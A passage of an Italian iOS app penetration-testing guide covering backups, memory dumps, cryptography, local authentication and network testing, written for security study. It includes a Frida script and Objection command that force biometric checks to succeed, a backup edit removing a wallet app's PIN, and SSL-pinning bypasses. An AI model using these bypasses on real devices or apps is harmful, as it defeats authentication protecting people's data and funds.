Escludere File dai Backup

I file in Documents/ e Library/Application Support/ vengono salvati nei backup per impostazione predefinita. Gli sviluppatori possono escludere file o directory specifici dai backup utilizzando NSURL setResourceValue:forKey:error: con NSURLIsExcludedFromBackupKey. Questa pratica è cruciale per proteggere i dati sensibili dall'essere inclusi nei backup.

Testare per Vulnerabilità

Per valutare la sicurezza del backup di un'app, inizia creando un backup utilizzando Finder, quindi localizzalo seguendo le indicazioni della documentazione ufficiale di Apple. Analizza il backup per dati sensibili o configurazioni che potrebbero essere modificate per influenzare il comportamento dell'app.

Le informazioni sensibili possono essere cercate utilizzando strumenti da riga di comando o applicazioni come iMazing. Per i backup crittografati, la presenza di crittografia può essere confermata controllando la chiave "IsEncrypted" nel file "Manifest.plist" alla radice del backup.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
...
<key>Date</key>
<date>2021-03-12T17:43:33Z</date>
<key>IsEncrypted</key>
<true/>
...
</plist>

Per gestire i backup crittografati, gli script Python disponibili nel repo GitHub di DinoSec, come backup_tool.py e backup_passwd.py, possono essere utili, sebbene possano richiedere aggiustamenti per la compatibilità con le ultime versioni di iTunes/Finder. Il tool iOSbackup è un'altra opzione per accedere ai file all'interno dei backup protetti da password.

Modificare il Comportamento dell'App

Un esempio di alterazione del comportamento dell'app attraverso modifiche al backup è dimostrato nell'app del portafoglio bitcoin Bither, dove il PIN di blocco dell'interfaccia utente è memorizzato in net.bither.plist sotto la chiave pin_code. Rimuovendo questa chiave dal plist e ripristinando il backup si rimuove il requisito del PIN, fornendo accesso illimitato.

Riepilogo sui Test di Memoria per Dati Sensibili

Quando si tratta di informazioni sensibili memorizzate nella memoria di un'applicazione, è fondamentale limitare il tempo di esposizione di questi dati. Ci sono due approcci principali per investigare il contenuto della memoria: creare un dump di memoria e analizzare la memoria in tempo reale. Entrambi i metodi presentano le loro sfide, inclusa la possibilità di perdere dati critici durante il processo di dump o analisi.

Recuperare e Analizzare un Dump di Memoria

Per dispositivi jailbroken e non jailbroken, strumenti come objection e Fridump consentono di eseguire il dump della memoria del processo di un'app. Una volta eseguito il dump, l'analisi di questi dati richiede vari strumenti, a seconda della natura delle informazioni che stai cercando.

Per estrarre stringhe da un dump di memoria, possono essere utilizzati comandi come strings o rabin2 -zz:

# Extracting strings using strings command
$ strings memory > strings.txt

# Extracting strings using rabin2
$ rabin2 -ZZ memory > strings.txt

Per un'analisi più dettagliata, inclusa la ricerca di specifici tipi di dati o modelli, radare2 offre ampie capacità di ricerca:

$ r2 <name_of_your_dump_file>
[0x00000000]> /?
...

Analisi della Memoria a Runtime

r2frida offre un'alternativa potente per ispezionare la memoria di un'app in tempo reale, senza la necessità di un dump di memoria. Questo strumento consente l'esecuzione di comandi di ricerca direttamente sulla memoria dell'applicazione in esecuzione:

$ r2 frida://usb//<name_of_your_app>
[0x00000000]> /\ <search_command>

Criptografia Rovinata

Processi di Gestione delle Chiavi Scadenti

Alcuni sviluppatori salvano dati sensibili nello storage locale e li crittografano con una chiave hardcoded/predicibile nel codice. Questo non dovrebbe essere fatto poiché un po' di reverse engineering potrebbe consentire agli attaccanti di estrarre le informazioni riservate.

Uso di Algoritmi Insicuri e/o Obsoleti

Gli sviluppatori non dovrebbero utilizzare algoritmi obsoleti per eseguire controlli di autorizzazione, memorizzare o inviare dati. Alcuni di questi algoritmi sono: RC4, MD4, MD5, SHA1... Se i hash vengono utilizzati per memorizzare le password, ad esempio, dovrebbero essere utilizzati hash resistenti a brute-force con sale.

Controllo

I principali controlli da eseguire sono per verificare se puoi trovare password/segreti hardcoded nel codice, o se sono predicibili, e se il codice sta utilizzando qualche tipo di algoritmi di crittografia debole.

È interessante sapere che puoi monitorare alcune librerie crypto automaticamente utilizzando objection con:

ios monitor crypt

Per maggiori informazioni sulle API e librerie crittografiche iOS, accedi a https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography

Autenticazione Locale

L'autenticazione locale gioca un ruolo cruciale, specialmente quando si tratta di proteggere l'accesso a un endpoint remoto attraverso metodi crittografici. L'essenza qui è che senza una corretta implementazione, i meccanismi di autenticazione locale possono essere elusi.

Il framework di Autenticazione Locale di Apple e il keychain forniscono API robuste per consentire ai sviluppatori di facilitare i dialoghi di autenticazione degli utenti e gestire in modo sicuro i dati segreti, rispettivamente. Il Secure Enclave protegge l'ID delle impronte digitali per Touch ID, mentre Face ID si basa sul riconoscimento facciale senza compromettere i dati biometrici.

Per integrare Touch ID/Face ID, gli sviluppatori hanno due scelte API:

  • LocalAuthentication.framework per l'autenticazione utente di alto livello senza accesso ai dati biometrici.
  • Security.framework per l'accesso ai servizi di keychain di basso livello, proteggendo i dati segreti con autenticazione biometrica. Vari wrapper open-source semplificano l'accesso al keychain.

{% hint style="danger" %} Tuttavia, sia LocalAuthentication.framework che Security.framework presentano vulnerabilità, poiché restituiscono principalmente valori booleani senza trasmettere dati per i processi di autenticazione, rendendoli suscettibili a bypass (riferirsi a Don't touch me that way, di David Lindner et al). {% endhint %}

Implementazione dell'Autenticazione Locale

Per richiedere agli utenti l'autenticazione, gli sviluppatori dovrebbero utilizzare il metodo evaluatePolicy all'interno della classe LAContext, scegliendo tra:

  • deviceOwnerAuthentication: Richiede Touch ID o codice di accesso del dispositivo, fallendo se nessuno dei due è abilitato.
  • deviceOwnerAuthenticationWithBiometrics: Richiede esclusivamente Touch ID.

Un'autenticazione riuscita è indicata da un valore di ritorno booleano da evaluatePolicy, evidenziando un potenziale difetto di sicurezza.

Autenticazione Locale utilizzando il Keychain

Implementare l'autenticazione locale nelle app iOS comporta l'uso delle API del keychain per memorizzare in modo sicuro dati segreti come i token di autenticazione. Questo processo garantisce che i dati possano essere accessibili solo dall'utente, utilizzando il proprio codice di accesso del dispositivo o l'autenticazione biometrica come Touch ID.

Il keychain offre la possibilità di impostare elementi con l'attributo SecAccessControl, che limita l'accesso all'elemento fino a quando l'utente non si autentica con successo tramite Touch ID o codice di accesso del dispositivo. Questa funzionalità è cruciale per migliorare la sicurezza.

Di seguito sono riportati esempi di codice in Swift e Objective-C che dimostrano come salvare e recuperare una stringa dal/al keychain, sfruttando queste funzionalità di sicurezza. Gli esempi mostrano specificamente come impostare il controllo degli accessi per richiedere l'autenticazione Touch ID e garantire che i dati siano accessibili solo sul dispositivo su cui sono stati impostati, a condizione che sia configurato un codice di accesso del dispositivo.

{% tabs %} {% tab title="Swift" %}

// From https://github.com/mufambisi/owasp-mstg/blob/master/Document/0x06f-Testing-Local-Authentication.md

// 1. create AccessControl object that will represent authentication settings

var error: Unmanaged<CFError>?

guard let accessControl = SecAccessControlCreateWithFlags(kCFAllocatorDefault,
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly,
SecAccessControlCreateFlags.biometryCurrentSet,
&error) else {
// failed to create AccessControl object

return
}

// 2. define keychain services query. Pay attention that kSecAttrAccessControl is mutually exclusive with kSecAttrAccessible attribute

var query: [String: Any] = [:]

query[kSecClass as String] = kSecClassGenericPassword
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
query[kSecAttrAccount as String] = "OWASP Account" as CFString
query[kSecValueData as String] = "test_strong_password".data(using: .utf8)! as CFData
query[kSecAttrAccessControl as String] = accessControl

// 3. save item

let status = SecItemAdd(query as CFDictionary, nil)

if status == noErr {
// successfully saved
} else {
// error while saving
}

{% endtab %}

{% tab title="Objective-C" %}

// 1. create AccessControl object that will represent authentication settings
CFErrorRef *err = nil;

SecAccessControlRef sacRef = SecAccessControlCreateWithFlags(kCFAllocatorDefault,
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly,
kSecAccessControlUserPresence,
err);

// 2. define keychain services query. Pay attention that kSecAttrAccessControl is mutually exclusive with kSecAttrAccessible attribute
NSDictionary* query = @{
(_ _bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
(__bridge id)kSecAttrLabel: @"com.me.myapp.password",
(__bridge id)kSecAttrAccount: @"OWASP Account",
(__bridge id)kSecValueData: [@"test_strong_password" dataUsingEncoding:NSUTF8StringEncoding],
(__bridge id)kSecAttrAccessControl: (__bridge_transfer id)sacRef
};

// 3. save item
OSStatus status = SecItemAdd((__bridge CFDictionaryRef)query, nil);

if (status == noErr) {
// successfully saved
} else {
// error while saving
}

{% endtab %} {% endtabs %}

Ora possiamo richiedere l'elemento salvato dal portachiavi. I servizi del portachiavi presenteranno la finestra di dialogo di autenticazione all'utente e restituiranno i dati o nil a seconda che sia stata fornita o meno un'impronta digitale adeguata.

{% tabs %} {% tab title="Swift" %}

// 1. define query
var query = [String: Any]()
query[kSecClass as String] = kSecClassGenericPassword
query[kSecReturnData as String] = kCFBooleanTrue
query[kSecAttrAccount as String] = "My Name" as CFString
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
query[kSecUseOperationPrompt as String] = "Please, pass authorisation to enter this area" as CFString

// 2. get item
var queryResult: AnyObject?
let status = withUnsafeMutablePointer(to: &queryResult) {
SecItemCopyMatching(query as CFDictionary, UnsafeMutablePointer($0))
}

if status == noErr {
let password = String(data: queryResult as! Data, encoding: .utf8)!
// successfully received password
} else {
// authorization not passed
}

{% endtab %}

{% tab title="Objective-C" %}

// 1. define query
NSDictionary *query = @{(__bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
(__bridge id)kSecReturnData: @YES,
(__bridge id)kSecAttrAccount: @"My Name1",
(__bridge id)kSecAttrLabel: @"com.me.myapp.password",
(__bridge id)kSecUseOperationPrompt: @"Please, pass authorisation to enter this area" };

// 2. get item
CFTypeRef queryResult = NULL;
OSStatus status = SecItemCopyMatching((__bridge CFDictionaryRef)query, &queryResult);

if (status == noErr){
NSData* resultData = ( __bridge_transfer NSData* )queryResult;
NSString* password = [[NSString alloc] initWithData:resultData encoding:NSUTF8StringEncoding];
NSLog(@"%@", password);
} else {
NSLog(@"Something went wrong");
}

{% endtab %} {% endtabs %}

Rilevamento

L'uso di framework in un'app può essere rilevato analizzando l'elenco delle librerie dinamiche condivise del binario dell'app. Questo può essere fatto utilizzando otool:

$ otool -L <AppName>.app/<AppName>

Se LocalAuthentication.framework è utilizzato in un'app, l'output conterrà entrambe le seguenti righe (ricorda che LocalAuthentication.framework utilizza Security.framework sotto il cofano):

/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
/System/Library/Frameworks/Security.framework/Security

Se viene utilizzato Security.framework, verrà mostrato solo il secondo.

Bypass del Framework di Autenticazione Locale

Objection

Attraverso il Bypass Biometrics di Objection, situato in questa pagina GitHub, è disponibile una tecnica per superare il meccanismo di LocalAuthentication. Il nucleo di questo approccio implica l'uso di Frida per manipolare la funzione evaluatePolicy, garantendo che restituisca costantemente un risultato True, indipendentemente dal reale successo dell'autenticazione. Questo è particolarmente utile per eludere processi di autenticazione biometrica difettosi.

Per attivare questo bypass, viene impiegato il seguente comando:

...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios ui biometrics_bypass
(agent) Registering job 3mhtws9x47q. Type: ios-biometrics-disable
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # (agent) [3mhtws9x47q] Localized Reason for auth requirement: Please authenticate yourself
(agent) [3mhtws9x47q] OS authentication response: false
(agent) [3mhtws9x47q] Marking OS response as True instead
(agent) [3mhtws9x47q] Biometrics bypass hook complete

Questo comando avvia una sequenza in cui Objection registra un'attività che altera effettivamente l'esito del controllo evaluatePolicy a True.

Frida

Un esempio di utilizzo di evaluatePolicy dall'applicazione DVIA-v2:

+(void)authenticateWithTouchID {
LAContext *myContext = [[LAContext alloc] init];
NSError *authError = nil;
NSString *myLocalizedReasonString = @"Please authenticate yourself";

if ([myContext canEvaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics error:&authError]) {
[myContext evaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics
localizedReason:myLocalizedReasonString
reply:^(BOOL success, NSError *error) {
if (success) {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Authentication Successful" withTitle:@"Success"];
});
} else {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Authentication Failed !" withTitle:@"Error"];
});
}
}];
} else {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Your device doesn't support Touch ID or you haven't configured Touch ID authentication on your device" withTitle:@"Error"];
});
}
}

Per ottenere il bypass dell'Autenticazione Locale, è stato scritto uno script Frida. Questo script mira al controllo evaluatePolicy, intercettando il suo callback per garantire che restituisca success=1. Alterando il comportamento del callback, il controllo di autenticazione viene effettivamente bypassato.

Lo script qui sotto viene iniettato per modificare il risultato del metodo evaluatePolicy. Cambia il risultato del callback per indicare sempre il successo.

// from https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/
if(ObjC.available) {
console.log("Injecting...");
var hook = ObjC.classes.LAContext["- evaluatePolicy:localizedReason:reply:"];
Interceptor.attach(hook.implementation, {
onEnter: function(args) {
var block = new ObjC.Block(args[4]);
const callback = block.implementation;
block.implementation = function (error, value)  {

console.log("Changing the result value to true")
const result = callback(1, null);
return result;
};
},
});
} else {
console.log("Objective-C Runtime is not available!");
}

Per iniettare lo script Frida e bypassare l'autenticazione biometrica, viene utilizzato il seguente comando:

frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-ios.js

Esposizione di Funzionalità Sensibili Tramite IPC

{% content-ref url="ios-custom-uri-handlers-deeplinks-custom-schemes.md" %} ios-custom-uri-handlers-deeplinks-custom-schemes.md {% endcontent-ref %}

{% content-ref url="ios-universal-links.md" %} ios-universal-links.md {% endcontent-ref %}

Condivisione UIActivity

{% content-ref url="ios-uiactivity-sharing.md" %} ios-uiactivity-sharing.md {% endcontent-ref %}

UIPasteboard

{% content-ref url="ios-uipasteboard.md" %} ios-uipasteboard.md {% endcontent-ref %}

Estensioni App

{% content-ref url="ios-app-extensions.md" %} ios-app-extensions.md {% endcontent-ref %}

WebViews

{% content-ref url="ios-webviews.md" %} ios-webviews.md {% endcontent-ref %}

Serializzazione e Codifica

{% content-ref url="ios-serialisation-and-encoding.md" %} ios-serialisation-and-encoding.md {% endcontent-ref %}

Comunicazione di Rete

È importante verificare che non ci sia comunicazione senza crittografia e anche che l'applicazione stia correttamente validando il certificato TLS del server.
Per controllare questi tipi di problemi puoi utilizzare un proxy come Burp:

{% content-ref url="burp-configuration-for-ios.md" %} burp-configuration-for-ios.md {% endcontent-ref %}

Controllo del Nome Host

Un problema comune nella validazione del certificato TLS è controllare che il certificato sia stato firmato da una CA fidata, ma non controllare se il nome host del certificato è il nome host a cui si sta accedendo.
Per controllare questo problema utilizzando Burp, dopo aver fidato la CA di Burp nell'iPhone, puoi creare un nuovo certificato con Burp per un nome host diverso e usarlo. Se l'applicazione continua a funzionare, allora qualcosa è vulnerabile.

Certificato Pinning

Se un'applicazione utilizza correttamente il SSL Pinning, allora l'applicazione funzionerà solo se il certificato è quello previsto. Quando si testa un'applicazione questo potrebbe essere un problema poiché Burp servirà il proprio certificato.
Per bypassare questa protezione all'interno di un dispositivo jailbroken, puoi installare l'applicazione SSL Kill Switch o installare Burp Mobile Assistant

Puoi anche usare objection's ios sslpinning disable

Varie

  • In /System/Library puoi trovare i framework installati nel telefono utilizzati dalle applicazioni di sistema
  • Le applicazioni installate dall'utente dall'App Store si trovano all'interno di /User/Applications
  • E il /User/Library contiene i dati salvati dalle applicazioni a livello utente
  • Puoi accedere a /User/Library/Notes/notes.sqlite per leggere le note salvate all'interno dell'applicazione.
  • All'interno della cartella di un'applicazione installata (/User/Applications/<APP ID>/) puoi trovare alcuni file interessanti:
  • iTunesArtwork: L'icona utilizzata dall'app
  • iTunesMetadata.plist: Info dell'app utilizzate nell'App Store
  • /Library/*: Contiene le preferenze e la cache. In /Library/Cache/Snapshots/* puoi trovare lo snapshot eseguito sull'applicazione prima di inviarla in background.

Hot Patching/Aggiornamento Forzato

Gli sviluppatori possono patchare tutte le installazioni della loro app istantaneamente senza dover reinviare l'applicazione all'App Store e aspettare che venga approvata.
A questo scopo si utilizza solitamente JSPatch. Ma ci sono anche altre opzioni come Siren e react-native-appstore-version-checker.
Questo è un meccanismo pericoloso che potrebbe essere abusato da SDK di terze parti malevoli, quindi è consigliato controllare quale metodo viene utilizzato per l'aggiornamento automatico (se presente) e testarlo. Potresti provare a scaricare una versione precedente dell'app a questo scopo.

Terze Parti

Una sfida significativa con gli SDK di terze parti è la mancanza di controllo granulare sulle loro funzionalità. Gli sviluppatori si trovano di fronte a una scelta: integrare l'SDK e accettare tutte le sue caratteristiche, comprese le potenziali vulnerabilità di sicurezza e le preoccupazioni sulla privacy, oppure rinunciare completamente ai suoi benefici. Spesso, gli sviluppatori non sono in grado di patchare le vulnerabilità all'interno di questi SDK. Inoltre, man mano che gli SDK guadagnano fiducia all'interno della comunità, alcuni potrebbero iniziare a contenere malware.

I servizi forniti dagli SDK di terze parti possono includere il tracciamento del comportamento degli utenti, la visualizzazione di pubblicità o miglioramenti dell'esperienza utente. Tuttavia, questo introduce un rischio poiché gli sviluppatori potrebbero non essere pienamente consapevoli del codice eseguito da queste librerie, portando a potenziali rischi per la privacy e la sicurezza. È fondamentale limitare le informazioni condivise con i servizi di terze parti a ciò che è necessario e garantire che nessun dato sensibile venga esposto.

L'implementazione di servizi di terze parti di solito avviene in due forme: una libreria autonoma o un SDK completo. Per proteggere la privacy degli utenti, qualsiasi dato condiviso con questi servizi dovrebbe essere anonymizzato per prevenire la divulgazione di Informazioni Personali Identificabili (PII).

Per identificare le librerie utilizzate da un'applicazione, il comando otool può essere impiegato. Questo strumento dovrebbe essere eseguito contro l'applicazione e ciascuna libreria condivisa che utilizza per scoprire librerie aggiuntive.

otool -L <application_path>

Riferimenti e Altre Risorse


Usa Trickest per costruire e automatizzare flussi di lavoro alimentati dagli strumenti della comunità più avanzati al mondo.
Accedi Oggi:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %} {% hint style="success" %} Impara e pratica Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks
{% endhint %} {% endhint %}